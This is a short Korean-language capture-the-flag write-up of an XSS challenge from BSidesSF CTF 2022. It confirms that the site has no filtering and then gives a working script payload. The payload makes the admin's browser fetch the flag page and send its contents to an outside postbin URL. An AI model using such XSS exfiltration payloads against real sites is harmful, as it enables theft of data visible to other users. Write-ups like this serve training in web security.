CTF
[BSidesSF CTF] web-tutorial-1
skyepodium
2022. 6. 4. 12:15
1. 개요
XSS(크로스 사이트 스크립팅) 문제
2. 분석
1) 확인
/xss-one-flag 경로에 flag가 있으며 제출하는 모든 페이로드는 어드민에게 전달된다고합니다.
2) <script>alert(1)</script>
코드를 입력했을때 기본적인 필터링이 안되어있음을 확인합니다.
3) 시나리오
- 어드민이 fetch 함수를 통해 /xss-one-flag 경로를 요청하도록 합니다.
- fetch 결과를 문자열로 만듭니다.
- 문자열로 만든 결과를 다른 서버로 전송합니다.
3. exploit
1) 서버생성
문제의 프로토콜이 https 이기 때문에 https 서버가 필요합니다. (https -> http 요청 불가)
서버 구축해도 되는데 저는 없어서 postbin에서 클릭 한번으로 만들었습니다.
https://www.toptal.com/developers/postbin/
2) 스크립트 작성
<script>
fetch("/xss-one-flag")
.then(r => r.text())
.then(t => fetch("https://www.toptal.com/developers/postbin/1654311461940-6104704961180?flag="+t))
</script>
3) 확인